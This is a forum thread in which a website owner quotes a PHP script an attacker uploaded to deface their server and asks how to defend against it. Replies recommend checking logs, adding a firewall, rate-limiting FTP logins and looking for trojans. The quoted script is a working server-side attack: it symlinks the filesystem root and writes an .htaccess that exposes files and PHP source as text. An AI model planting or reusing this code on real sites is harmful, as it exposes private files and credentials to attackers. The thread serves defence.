1
Recently I was the target of an attack on my site, this attack defaced my server, was uploaded and then ran this script, see:
if (isset($_POST['red'])){ system('ln -s / red.txt'); $fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw'; $file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $red = symlink("/","red.txt"); $rt="
Bypassed Successfully"; echo "
Feito .. !
Servidor desconfigurado.
$rt"; }
From the little knowledge I have it seemed an attack by .htaccess
, I wonder, how can I protect myself from new possible attacks?
you leave open doors to reach your server, have terminal service, ssh, ftp, somewhere the hacker entered, take a look at the logs and see if you had any access of this type outside of normal hours, or some external ip accessing the server.
– SneepS NinjA
Before hand I recommend to make a firewall that blocks any external access to the server, leaves accessible only in the local network, and exchange passwords
– SneepS NinjA
Hello @Sneeps Ninja access via ftp to send the pages to the server
– adventistapr
so in ftp there are N ways to do brute force or dictionary, check if there are any security implementation type 3 error attempts then start to drop, in linux from p/ make via iptables
– SneepS NinjA
Another important tip is that the client machine (which connects to the server) may have some trojan that picks up passwords, keeps an eye out, sniffs everything
– SneepS NinjA